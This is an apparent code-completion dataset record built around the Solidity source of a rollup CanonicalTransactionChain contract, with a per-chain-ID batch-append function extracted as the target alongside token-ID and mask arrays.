[ 1, 565, 445, 6146, 1358, 12, 3890, 24, 1560, 548, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 5024, 203, 3639, 3849, 12, 654, 39, 27, 5340, 16, 4232, 39, 27, 5340, 3572, 25121, 16, 467, 654, 39, 28275, 13, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 327, 203, 5411, 1560, 548, 422, 618, 12, 2627, 22, 8336, 654, 39, 27, 5340, 2934, 5831, 548, 747, 203, 5411, 2240, 18, 28064, 1358, 12, 5831, 548, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /* Library Imports */ import { AddressAliasHelper } from "../../standards/AddressAliasHelper.sol"; import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; import { Lib_AddressResolver } from "../../libraries/resolver/Lib_AddressResolver.sol"; /* Interface Imports */ import { ICanonicalTransactionChain } from "./ICanonicalTransactionChain.sol"; import { IChainStorageContainer } from "./IChainStorageContainer.sol"; /** * @title CanonicalTransactionChain * @dev The Canonical Transaction Chain (CTC) contract is an append-only log of transactions * which must be applied to the rollup state. It defines the ordering of rollup transactions by * writing them to the 'CTC:batches' instance of the Chain Storage Container. * The CTC also allows any account to 'enqueue' an L2 transaction, which will require that the * Sequencer will eventually append it to the rollup state. * * Runtime target: EVM */ contract CanonicalTransactionChain is ICanonicalTransactionChain, Lib_AddressResolver { /************* * Constants * *************/ // L2 tx gas-related uint256 public constant MIN_ROLLUP_TX_GAS = 100000; uint256 public constant MAX_ROLLUP_TX_SIZE = 50000; // The approximate cost of calling the enqueue function uint256 public enqueueGasCost; // The ratio of the cost of L1 gas to the cost of L2 gas uint256 public l2GasDiscountDivisor; // The amount of L2 gas which can be forwarded to L2 without spam prevention via 'gas burn'. // Calculated as the product of l2GasDiscountDivisor * enqueueGasCost. // See comments in enqueue() for further detail. uint256 public enqueueL2GasPrepaid; //default l2 chain id uint256 constant public DEFAULT_CHAINID = 1088; // Encoding-related (all in bytes) uint256 internal constant BATCH_CONTEXT_SIZE = 16; uint256 internal constant BATCH_CONTEXT_LENGTH_POS = 12; uint256 internal constant BATCH_CONTEXT_START_POS = 15; uint256 internal constant TX_DATA_HEADER_SIZE = 3; uint256 internal constant BYTES_TILL_TX_DATA = 65; /************* * Variables * *************/ uint256 public maxTransactionGasLimit; /*************** * Queue State * ***************/ mapping(uint256=>uint40) private _nextQueueIndex; // index of the first queue element not yet included mapping(uint256=>Lib_OVMCodec.QueueElement[]) queueElements; /*************** * Constructor * ***************/ constructor( address _libAddressManager, uint256 _maxTransactionGasLimit, uint256 _l2GasDiscountDivisor, uint256 _enqueueGasCost ) Lib_AddressResolver(_libAddressManager) { maxTransactionGasLimit = _maxTransactionGasLimit; l2GasDiscountDivisor = _l2GasDiscountDivisor; enqueueGasCost = _enqueueGasCost; enqueueL2GasPrepaid = _l2GasDiscountDivisor * _enqueueGasCost; } /********************** * Function Modifiers * **********************/ /** * Modifier to enforce that, if configured, only the Burn Admin may * successfully call a method. */ modifier onlyBurnAdmin() { require(msg.sender == libAddressManager.owner(), "Only callable by the Burn Admin."); _; } /******************************* * Authorized Setter Functions * *******************************/ /** * Allows the Burn Admin to update the parameters which determine the amount of gas to burn. * The value of enqueueL2GasPrepaid is immediately updated as well. */ function setGasParams(uint256 _l2GasDiscountDivisor, uint256 _enqueueGasCost) external onlyBurnAdmin { enqueueGasCost = _enqueueGasCost; l2GasDiscountDivisor = _l2GasDiscountDivisor; // See the comment in enqueue() for the rationale behind this formula. enqueueL2GasPrepaid = _l2GasDiscountDivisor * _enqueueGasCost; emit L2GasParamsUpdated(l2GasDiscountDivisor, enqueueGasCost, enqueueL2GasPrepaid); } /******************** * Public Functions * ********************/ /** * Accesses the batch storage container. * @return Reference to the batch storage container. */ function batches() public view returns (IChainStorageContainer) { return IChainStorageContainer(resolve("ChainStorageContainer-CTC-batches")); } /** * Accesses the queue storage container. * @return Reference to the queue storage container. */ function queue() public view returns (IChainStorageContainer) { return IChainStorageContainer(resolve("ChainStorageContainer-CTC-queue")); } /** * Retrieves the total number of elements submitted. * @return _totalElements Total submitted elements. */ function getTotalElements() public view returns (uint256 _totalElements) { (uint40 totalElements, , , ) = _getBatchExtraData(); return uint256(totalElements); } /** * Retrieves the total number of batches submitted. * @return _totalBatches Total submitted batches. */ function getTotalBatches() public view returns (uint256 _totalBatches) { return batches().length(); } /** * Returns the index of the next element to be enqueued. * @return Index for the next queue element. */ function getNextQueueIndex() public view returns (uint40) { return _nextQueueIndex[DEFAULT_CHAINID]; } /** * Returns the timestamp of the last transaction. * @return Timestamp for the last transaction. */ function getLastTimestamp() public view returns (uint40) { (, , uint40 lastTimestamp, ) = _getBatchExtraData(); return lastTimestamp; } /** * Returns the blocknumber of the last transaction. * @return Blocknumber for the last transaction. */ function getLastBlockNumber() public view returns (uint40) { (, , , uint40 lastBlockNumber) = _getBatchExtraData(); return lastBlockNumber; } /** * Gets the queue element at a particular index. * @param _index Index of the queue element to access. * @return _element Queue element at the given index. */ function getQueueElement(uint256 _index) public view returns (Lib_OVMCodec.QueueElement memory _element) { return queueElements[DEFAULT_CHAINID][_index]; } /** * Get the number of queue elements which have not yet been included. * @return Number of pending queue elements. */ function getNumPendingQueueElements() public view returns (uint40) { return uint40(queueElements[DEFAULT_CHAINID].length) - _nextQueueIndex[DEFAULT_CHAINID]; } /** * Retrieves the length of the queue, including * both pending and canonical transactions. * @return Length of the queue. */ function getQueueLength() public view returns (uint40) { return uint40(queueElements[DEFAULT_CHAINID].length); } /** * Adds a transaction to the queue. * @param _target Target L2 contract to send the transaction to. * @param _gasLimit Gas limit for the enqueued L2 transaction. * @param _data Transaction data. */ function enqueue( address _target, uint256 _gasLimit, bytes memory _data ) external { enqueueByChainId(DEFAULT_CHAINID, _target, _gasLimit, _data); } /** * Allows the sequencer to append a batch of transactions. * @dev This function uses a custom encoding scheme for efficiency reasons. * .param _shouldStartAtElement Specific batch we expect to start appending to. * .param _totalElementsToAppend Total number of batch elements we expect to append. * .param _contexts Array of batch contexts. * .param _transactionDataFields Array of raw transaction data. */ function appendSequencerBatch() external { uint40 shouldStartAtElement; uint24 totalElementsToAppend; uint24 numContexts; assembly { shouldStartAtElement := shr(216, calldataload(4)) totalElementsToAppend := shr(232, calldataload(9)) numContexts := shr(232, calldataload(12)) } require( shouldStartAtElement == getTotalElements(), "Actual batch start index does not match expected start index." ); require( msg.sender == resolve("OVM_Sequencer"), "Function can only be called by the Sequencer." ); uint40 nextTransactionPtr = uint40( BATCH_CONTEXT_START_POS + BATCH_CONTEXT_SIZE * numContexts ); require(msg.data.length >= nextTransactionPtr, "Not enough BatchContexts provided."); // Counter for number of sequencer transactions appended so far. uint32 numSequencerTransactions = 0; // Cache the _nextQueueIndex storage variable to a temporary stack variable. // This is safe as long as nothing reads or writes to the storage variable // until it is updated by the temp variable. uint40 nextQueueIndex = _nextQueueIndex[DEFAULT_CHAINID]; BatchContext memory curContext; for (uint32 i = 0; i < numContexts; i++) { BatchContext memory nextContext = _getBatchContext(i); // Now we can update our current context. curContext = nextContext; // Process sequencer transactions first. numSequencerTransactions += uint32(curContext.numSequencedTransactions); // Now process any subsequent queue transactions. nextQueueIndex += uint40(curContext.numSubsequentQueueTransactions); } require( nextQueueIndex <= queueElements[DEFAULT_CHAINID].length, "Attempted to append more elements than are available in the queue." ); // Generate the required metadata that we need to append this batch uint40 numQueuedTransactions = totalElementsToAppend - numSequencerTransactions; uint40 blockTimestamp; uint40 blockNumber; if (curContext.numSubsequentQueueTransactions == 0) { // The last element is a sequencer tx, therefore pull timestamp and block number from // the last context. blockTimestamp = uint40(curContext.timestamp); blockNumber = uint40(curContext.blockNumber); } else { // The last element is a queue tx, therefore pull timestamp and block number from the // queue element. // curContext.numSubsequentQueueTransactions > 0 which means that we've processed at // least one queue element. We increment nextQueueIndex after processing each queue // element, so the index of the last element we processed is nextQueueIndex - 1. Lib_OVMCodec.QueueElement memory lastElement = queueElements[DEFAULT_CHAINID][nextQueueIndex - 1]; blockTimestamp = lastElement.timestamp; blockNumber = lastElement.blockNumber; } // Cache the previous blockhash to ensure all transaction data can be retrieved efficiently. _appendBatch( blockhash(block.number - 1), totalElementsToAppend, numQueuedTransactions, blockTimestamp, blockNumber ); emit SequencerBatchAppended( nextQueueIndex - numQueuedTransactions, numQueuedTransactions, getTotalElements(), DEFAULT_CHAINID ); // Update the _nextQueueIndex storage variable. _nextQueueIndex[DEFAULT_CHAINID] = nextQueueIndex; } /********************** * Internal Functions * **********************/ /** * Returns the BatchContext located at a particular index. * @param _index The index of the BatchContext * @return The BatchContext at the specified index. */ function _getBatchContext(uint256 _index) internal pure returns (BatchContext memory) { uint256 contextPtr = 15 + _index * BATCH_CONTEXT_SIZE; uint256 numSequencedTransactions; uint256 numSubsequentQueueTransactions; uint256 ctxTimestamp; uint256 ctxBlockNumber; assembly { numSequencedTransactions := shr(232, calldataload(contextPtr)) numSubsequentQueueTransactions := shr(232, calldataload(add(contextPtr, 3))) ctxTimestamp := shr(216, calldataload(add(contextPtr, 6))) ctxBlockNumber := shr(216, calldataload(add(contextPtr, 11))) } return BatchContext({ numSequencedTransactions: numSequencedTransactions, numSubsequentQueueTransactions: numSubsequentQueueTransactions, timestamp: ctxTimestamp, blockNumber: ctxBlockNumber }); } /** * Parses the batch context from the extra data. * @return Total number of elements submitted. * @return Index of the next queue element. */ function _getBatchExtraData() internal view returns ( uint40, uint40, uint40, uint40 ) { bytes27 extraData = batches().getGlobalMetadata(); uint40 totalElements; uint40 nextQueueIndex; uint40 lastTimestamp; uint40 lastBlockNumber; // solhint-disable max-line-length assembly { extraData := shr(40, extraData) totalElements := and( extraData, 0x000000000000000000000000000000000000000000000000000000FFFFFFFFFF ) nextQueueIndex := shr( 40, and(extraData, 0x00000000000000000000000000000000000000000000FFFFFFFFFF0000000000) ) lastTimestamp := shr( 80, and(extraData, 0x0000000000000000000000000000000000FFFFFFFFFF00000000000000000000) ) lastBlockNumber := shr( 120, and(extraData, 0x000000000000000000000000FFFFFFFFFF000000000000000000000000000000) ) } // solhint-enable max-line-length return (totalElements, nextQueueIndex, lastTimestamp, lastBlockNumber); } /** * Encodes the batch context for the extra data. * @param _totalElements Total number of elements submitted. * @param _nextQueueIdx Index of the next queue element. * @param _timestamp Timestamp for the last batch. * @param _blockNumber Block number of the last batch. * @return Encoded batch context. */ function _makeBatchExtraData( uint40 _totalElements, uint40 _nextQueueIdx, uint40 _timestamp, uint40 _blockNumber ) internal pure returns (bytes27) { bytes27 extraData; assembly { extraData := _totalElements extraData := or(extraData, shl(40, _nextQueueIdx)) extraData := or(extraData, shl(80, _timestamp)) extraData := or(extraData, shl(120, _blockNumber)) extraData := shl(40, extraData) } return extraData; } /** * Inserts a batch into the chain of batches. * @param _transactionRoot Root of the transaction tree for this batch. * @param _batchSize Number of elements in the batch. * @param _numQueuedTransactions Number of queue transactions in the batch. * @param _timestamp The latest batch timestamp. * @param _blockNumber The latest batch blockNumber. */ function _appendBatch( bytes32 _transactionRoot, uint256 _batchSize, uint256 _numQueuedTransactions, uint40 _timestamp, uint40 _blockNumber ) internal { IChainStorageContainer batchesRef = batches(); (uint40 totalElements, uint40 nextQueueIndex, , ) = _getBatchExtraData(); Lib_OVMCodec.ChainBatchHeader memory header = Lib_OVMCodec.ChainBatchHeader({ batchIndex: batchesRef.length(), batchRoot: _transactionRoot, batchSize: _batchSize, prevTotalElements: totalElements, extraData: hex"" }); emit TransactionBatchAppended( DEFAULT_CHAINID, header.batchIndex, header.batchRoot, header.batchSize, header.prevTotalElements, header.extraData ); bytes32 batchHeaderHash = Lib_OVMCodec.hashBatchHeader(header); bytes27 latestBatchContext = _makeBatchExtraData( totalElements + uint40(header.batchSize), nextQueueIndex + uint40(_numQueuedTransactions), _timestamp, _blockNumber ); batchesRef.push(batchHeaderHash, latestBatchContext); } //added chain id for public function /** * Retrieves the total number of elements submitted. * @return _totalElements Total submitted elements. */ function getTotalElementsByChainId(uint256 _chainId) override public view returns ( uint256 _totalElements ) { (uint40 totalElements,,,) = _getBatchExtraDataByChainId(_chainId); return uint256(totalElements); } /** * Retrieves the total number of batches submitted. * @return _totalBatches Total submitted batches. */ function getTotalBatchesByChainId(uint256 _chainId) override public view returns ( uint256 _totalBatches ) { return batches().lengthByChainId(_chainId); } /** * Returns the index of the next element to be enqueued. * @return Index for the next queue element. */ function getNextQueueIndexByChainId(uint256 _chainId) override public view returns ( uint40 ) { (,uint40 nextQueueIndex,,) = _getBatchExtraDataByChainId(_chainId); return nextQueueIndex; } /** * Returns the timestamp of the last transaction. * @return Timestamp for the last transaction. */ function getLastTimestampByChainId(uint256 _chainId) override public view returns ( uint40 ) { (,,uint40 lastTimestamp,) = _getBatchExtraDataByChainId(_chainId); return lastTimestamp; } /** * Returns the blocknumber of the last transaction. * @return Blocknumber for the last transaction. */ function getLastBlockNumberByChainId(uint256 _chainId) override public view returns ( uint40 ) { (,,,uint40 lastBlockNumber) = _getBatchExtraDataByChainId(_chainId); return lastBlockNumber; } /** * Gets the queue element at a particular index. * @param _index Index of the queue element to access. * @return _element Queue element at the given index. */ function getQueueElementByChainId( uint256 _chainId, uint256 _index ) override public view returns ( Lib_OVMCodec.QueueElement memory _element ) { return queueElements[_chainId][_index]; } /** * Get the number of queue elements which have not yet been included. * @return Number of pending queue elements. */ function getNumPendingQueueElementsByChainId( uint256 _chainId ) override public view returns ( uint40 ) { return uint40(queueElements[_chainId].length) - _nextQueueIndex[_chainId]; } /** * Retrieves the length of the queue, including * both pending and canonical transactions. * @return Length of the queue. */ function getQueueLengthByChainId( uint256 _chainId ) override public view returns ( uint40 ) { return uint40(queueElements[_chainId].length); } /** * Adds a transaction to the queue. * @param _target Target L2 contract to send the transaction to. * @param _gasLimit Gas limit for the enqueued L2 transaction. * @param _data Transaction data. */ function enqueueByChainId( uint256 _chainId, address _target, uint256 _gasLimit, bytes memory _data ) override public { require(msg.sender == resolve("Proxy__OVM_L1CrossDomainMessenger"), "only the cross domain messenger can enqueue"); require( _data.length <= MAX_ROLLUP_TX_SIZE, "Transaction data size exceeds maximum for rollup transaction." ); require( _gasLimit <= maxTransactionGasLimit, "Transaction gas limit exceeds maximum for rollup transaction." ); require( _gasLimit >= MIN_ROLLUP_TX_GAS, "Transaction gas limit too low to enqueue." ); // Apply an aliasing unless msg.sender == tx.origin. This prevents an attack in which a // contract on L1 has the same address as a contract on L2 but doesn't have the same code. // We can safely ignore this for EOAs because they're guaranteed to have the same "code" // (i.e. no code at all). This also makes it possible for users to interact with contracts // on L2 even when the Sequencer is down. address sender; if (msg.sender == tx.origin) { sender = msg.sender; } else { sender = AddressAliasHelper.applyL1ToL2Alias(msg.sender); } bytes32 transactionHash = keccak256( abi.encode( sender, _target, _gasLimit, _data ) ); queueElements[_chainId].push( Lib_OVMCodec.QueueElement({ transactionHash: transactionHash, timestamp: uint40(block.timestamp), blockNumber: uint40(block.number) }) ); // The underlying queue data structure stores 2 elements // per insertion, so to get the real queue length we need // to divide by 2 and subtract 1. uint256 queueIndex = queueElements[_chainId].length - 1; emit TransactionEnqueued( _chainId, sender, _target, _gasLimit, _data, queueIndex, block.timestamp ); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } /** * Allows the sequencer to append a batch of transactions. * @dev This function uses a custom encoding scheme for efficiency reasons. * .param _shouldStartAtElement Specific batch we expect to start appending to. * .param _totalElementsToAppend Total number of batch elements we expect to append. * .param _contexts Array of batch contexts. * .param _transactionDataFields Array of raw transaction data. */ function appendSequencerBatchByChainId() override public { uint256 _chainId; uint40 shouldStartAtElement; uint24 totalElementsToAppend; uint24 numContexts; assembly { _chainId := calldataload(4) shouldStartAtElement := shr(216, calldataload(36)) totalElementsToAppend := shr(232, calldataload(41)) numContexts := shr(232, calldataload(44)) } require( shouldStartAtElement == getTotalElementsByChainId(_chainId), "Actual batch start index does not match expected start index." ); require( msg.sender == resolve(string(abi.encodePacked(uint2str(_chainId),"_MVM_Sequencer"))), "Function can only be called by the Sequencer." ); require( numContexts > 0, "Must provide at least one batch context." ); require( totalElementsToAppend > 0, "Must append at least one element." ); uint40 nextTransactionPtr = uint40( BATCH_CONTEXT_START_POS + BATCH_CONTEXT_SIZE * numContexts ); require( msg.data.length >= nextTransactionPtr, "Not enough BatchContexts provided." ); // Cache the _nextQueueIndex storage variable to a temporary stack variable. // This is safe as long as nothing reads or writes to the storage variable // until it is updated by the temp variable. uint40 nextQueueIndex = _nextQueueIndex[_chainId]; // Counter for number of sequencer transactions appended so far. uint32 numSequencerTransactions = 0; BatchContext memory curContext; for (uint32 i = 0; i < numContexts; i++) { BatchContext memory nextContext = _getBatchContextByChainId(0,_chainId,i); // Now we can update our current context. curContext = nextContext; // Process sequencer transactions first. numSequencerTransactions += uint32(curContext.numSequencedTransactions); // Now process any subsequent queue transactions. nextQueueIndex += uint40(curContext.numSubsequentQueueTransactions); } require( nextQueueIndex <= queueElements[_chainId].length, "Attempted to append more elements than are available in the queue." ); // Generate the required metadata that we need to append this batch uint40 numQueuedTransactions = totalElementsToAppend - numSequencerTransactions; uint40 blockTimestamp; uint40 blockNumber; if (curContext.numSubsequentQueueTransactions == 0) { // The last element is a sequencer tx, therefore pull timestamp and block number from // the last context. blockTimestamp = uint40(curContext.timestamp); blockNumber = uint40(curContext.blockNumber); } else { // The last element is a queue tx, therefore pull timestamp and block number from the // queue element. // curContext.numSubsequentQueueTransactions > 0 which means that we've processed at // least one queue element. We increment nextQueueIndex after processing each queue // element, so the index of the last element we processed is nextQueueIndex - 1. Lib_OVMCodec.QueueElement memory lastElement = queueElements[_chainId][nextQueueIndex - 1]; blockTimestamp = lastElement.timestamp; blockNumber = lastElement.blockNumber; } // For efficiency reasons getMerkleRoot modifies the `leaves` argument in place // while calculating the root hash therefore any arguments passed to it must not // be used again afterwards _appendBatchByChainId( _chainId, blockhash(block.number - 1), totalElementsToAppend, numQueuedTransactions, blockTimestamp, blockNumber ); emit SequencerBatchAppended( _chainId, nextQueueIndex - numQueuedTransactions, numQueuedTransactions, getTotalElementsByChainId(_chainId) ); // Update the _nextQueueIndex storage variable. _nextQueueIndex[_chainId] = nextQueueIndex; } /********************** * Internal Functions * **********************/ /** * Returns the BatchContext located at a particular index. * @param _index The index of the BatchContext * @return The BatchContext at the specified index. */ function _getBatchContextByChainId( uint256 _ptrStart, uint256 _chainId, uint256 _index ) internal pure returns ( BatchContext memory ) { uint256 contextPtr = _ptrStart + 32 + 15 + _index * BATCH_CONTEXT_SIZE; uint256 numSequencedTransactions; uint256 numSubsequentQueueTransactions; uint256 ctxTimestamp; uint256 ctxBlockNumber; assembly { numSequencedTransactions := shr(232, calldataload(contextPtr)) numSubsequentQueueTransactions := shr(232, calldataload(add(contextPtr, 3))) ctxTimestamp := shr(216, calldataload(add(contextPtr, 6))) ctxBlockNumber := shr(216, calldataload(add(contextPtr, 11))) } return BatchContext({ numSequencedTransactions: numSequencedTransactions, numSubsequentQueueTransactions: numSubsequentQueueTransactions, timestamp: ctxTimestamp, blockNumber: ctxBlockNumber }); } /** * Parses the batch context from the extra data. * @return Total number of elements submitted. * @return Index of the next queue element. */ function _getBatchExtraDataByChainId( uint256 _chainId ) internal view returns ( uint40, uint40, uint40, uint40 ) { bytes27 extraData = batches().getGlobalMetadataByChainId(_chainId); uint40 totalElements; uint40 nextQueueIndex; uint40 lastTimestamp; uint40 lastBlockNumber; assembly { extraData := shr(40, extraData) totalElements := and(extraData, 0x000000000000000000000000000000000000000000000000000000FFFFFFFFFF) nextQueueIndex := shr(40, and(extraData, 0x00000000000000000000000000000000000000000000FFFFFFFFFF0000000000)) lastTimestamp := shr(80, and(extraData, 0x0000000000000000000000000000000000FFFFFFFFFF00000000000000000000)) lastBlockNumber := shr(120, and(extraData, 0x000000000000000000000000FFFFFFFFFF000000000000000000000000000000)) } return ( totalElements, nextQueueIndex, lastTimestamp, lastBlockNumber ); } /** * Encodes the batch context for the extra data. * @param _totalElements Total number of elements submitted. * @param _nextQueueIdx Index of the next queue element. * @param _timestamp Timestamp for the last batch. * @param _blockNumber Block number of the last batch. * @return Encoded batch context. */ function _makeBatchExtraDataByChainId( uint256 _chainId, uint40 _totalElements, uint40 _nextQueueIdx, uint40 _timestamp, uint40 _blockNumber ) internal pure returns ( bytes27 ) { bytes27 extraData; assembly { extraData := _totalElements extraData := or(extraData, shl(40, _nextQueueIdx)) extraData := or(extraData, shl(80, _timestamp)) extraData := or(extraData, shl(120, _blockNumber)) extraData := shl(40, extraData) } return extraData; } /** * Inserts a batch into the chain of batches. * @param _transactionRoot Root of the transaction tree for this batch. * @param _batchSize Number of elements in the batch. * @param _numQueuedTransactions Number of queue transactions in the batch. * @param _timestamp The latest batch timestamp. * @param _blockNumber The latest batch blockNumber. */ function _appendBatchByChainId( uint256 _chainId, bytes32 _transactionRoot, uint256 _batchSize, uint256 _numQueuedTransactions, uint40 _timestamp, uint40 _blockNumber ) internal { IChainStorageContainer batchesRef = batches(); (uint40 totalElements, uint40 nextQueueIndex, , ) = _getBatchExtraDataByChainId(_chainId); Lib_OVMCodec.ChainBatchHeader memory header = Lib_OVMCodec.ChainBatchHeader({ batchIndex: batchesRef.lengthByChainId(_chainId), batchRoot: _transactionRoot, batchSize: _batchSize, prevTotalElements: totalElements, extraData: hex"" }); emit TransactionBatchAppended( _chainId, header.batchIndex, header.batchRoot, header.batchSize, header.prevTotalElements, header.extraData ); bytes32 batchHeaderHash = Lib_OVMCodec.hashBatchHeader(header); bytes27 latestBatchContext = _makeBatchExtraDataByChainId( _chainId, totalElements + uint40(header.batchSize), nextQueueIndex + uint40(_numQueuedTransactions), _timestamp, _blockNumber ); batchesRef.pushByChainId(_chainId,batchHeaderHash, latestBatchContext); } modifier onlyManager() { require( msg.sender == resolve("MVM_SuperManager"), "ChainStorageContainer: Function can only be called by the owner." ); _; } function pushQueueByChainId( uint256 _chainId, Lib_OVMCodec.QueueElement calldata _object ) override public onlyManager { queueElements[_chainId].push(_object); emit QueuePushed(msg.sender,_chainId,_object); } function setQueueByChainId( uint256 _chainId, uint256 _index, Lib_OVMCodec.QueueElement calldata _object ) override public onlyManager { queueElements[_chainId][_index] = _object; emit QueueSetted(msg.sender,_chainId,_index,_object); } function setBatchGlobalMetadataByChainId( uint256 _chainId, bytes27 _globalMetadata ) override public onlyManager { batches().setGlobalMetadataByChainId(_chainId,_globalMetadata); emit BatchesGlobalMetadataSet(msg.sender,_chainId,_globalMetadata); } function getBatchGlobalMetadataByChainId(uint256 _chainId) override public view returns ( bytes27 ) { return batches().getGlobalMetadataByChainId(_chainId); } function lengthBatchByChainId(uint256 _chainId) override public view returns ( uint256 ) { return batches().lengthByChainId(_chainId); } function pushBatchByChainId( uint256 _chainId, bytes32 _object, bytes27 _globalMetadata ) override public onlyManager { batches().pushByChainId(_chainId,_object,_globalMetadata); emit BatchPushed(msg.sender,_chainId,_object,_globalMetadata); } function setBatchByChainId( uint256 _chainId, uint256 _index, bytes32 _object ) override public onlyManager { batches().setByChainId(_chainId,_index,_object); emit BatchSetted(msg.sender,_chainId,_index,_object); } function getBatchByChainId( uint256 _chainId, uint256 _index ) override public view returns ( bytes32 ) { return batches().getByChainId(_chainId,_index); } function deleteBatchElementsAfterInclusiveByChainId( uint256 _chainId, uint256 _index, bytes27 _globalMetadata ) override public onlyManager { batches().deleteElementsAfterInclusiveByChainId( _chainId, _index, _globalMetadata ); emit BatchElementDeleted(msg.sender,_chainId,_index,_globalMetadata); } }
* Inserts a batch into the chain of batches. @param _transactionRoot Root of the transaction tree for this batch. @param _batchSize Number of elements in the batch. @param _numQueuedTransactions Number of queue transactions in the batch. @param _timestamp The latest batch timestamp. @param _blockNumber The latest batch blockNumber./
function _appendBatchByChainId( uint256 _chainId, bytes32 _transactionRoot, uint256 _batchSize, uint256 _numQueuedTransactions, uint40 _timestamp, uint40 _blockNumber ) internal { IChainStorageContainer batchesRef = batches(); (uint40 totalElements, uint40 nextQueueIndex, , ) = _getBatchExtraDataByChainId(_chainId); Lib_OVMCodec.ChainBatchHeader memory header = Lib_OVMCodec.ChainBatchHeader({ batchIndex: batchesRef.lengthByChainId(_chainId), batchRoot: _transactionRoot, batchSize: _batchSize, prevTotalElements: totalElements, extraData: hex"" }); emit TransactionBatchAppended( _chainId, header.batchIndex, header.batchRoot, header.batchSize, header.prevTotalElements, header.extraData ); bytes32 batchHeaderHash = Lib_OVMCodec.hashBatchHeader(header); bytes27 latestBatchContext = _makeBatchExtraDataByChainId( _chainId, totalElements + uint40(header.batchSize), nextQueueIndex + uint40(_numQueuedTransactions), _timestamp, _blockNumber ); batchesRef.pushByChainId(_chainId,batchHeaderHash, latestBatchContext); }
13,125,575
[ 1, 14214, 279, 2581, 1368, 326, 2687, 434, 13166, 18, 225, 389, 7958, 2375, 7450, 434, 326, 2492, 2151, 364, 333, 2581, 18, 225, 389, 5303, 1225, 3588, 434, 2186, 316, 326, 2581, 18, 225, 389, 2107, 21039, 14186, 3588, 434, 2389, 8938, 316, 326, 2581, 18, 225, 389, 5508, 1021, 4891, 2581, 2858, 18, 225, 389, 2629, 1854, 1021, 4891, 2581, 1203, 1854, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 6923, 4497, 858, 3893, 548, 12, 203, 3639, 2254, 5034, 389, 5639, 548, 16, 203, 3639, 1731, 1578, 389, 7958, 2375, 16, 203, 3639, 2254, 5034, 389, 5303, 1225, 16, 203, 3639, 2254, 5034, 389, 2107, 21039, 14186, 16, 203, 3639, 2254, 7132, 389, 5508, 16, 203, 3639, 2254, 7132, 389, 2629, 1854, 203, 565, 262, 203, 3639, 2713, 203, 565, 288, 203, 202, 565, 467, 3893, 3245, 2170, 13166, 1957, 273, 13166, 5621, 203, 3639, 261, 11890, 7132, 2078, 3471, 16, 2254, 7132, 1024, 3183, 1016, 16, 269, 262, 273, 389, 588, 4497, 7800, 751, 858, 3893, 548, 24899, 5639, 548, 1769, 203, 203, 3639, 10560, 67, 51, 7397, 11008, 18, 3893, 4497, 1864, 3778, 1446, 273, 10560, 67, 51, 7397, 11008, 18, 3893, 4497, 1864, 12590, 203, 5411, 2581, 1016, 30, 13166, 1957, 18, 2469, 858, 3893, 548, 24899, 5639, 548, 3631, 203, 5411, 2581, 2375, 30, 389, 7958, 2375, 16, 203, 5411, 16494, 30, 389, 5303, 1225, 16, 203, 5411, 2807, 5269, 3471, 30, 2078, 3471, 16, 203, 5411, 2870, 751, 30, 3827, 3660, 203, 3639, 15549, 203, 203, 3639, 3626, 5947, 4497, 1294, 11275, 12, 203, 5411, 389, 5639, 548, 16, 203, 5411, 1446, 18, 5303, 1016, 16, 203, 5411, 1446, 18, 5303, 2375, 16, 203, 5411, 1446, 18, 5303, 1225, 16, 203, 5411, 1446, 18, 10001, 5269, 3471, 16, 203, 5411, 1446, 18, 7763, 751, 203, 3639, 11272, 203, 203, 3639, 1731, 1578, 2581, 1864, 2310, 273, 10560, 67, 51, 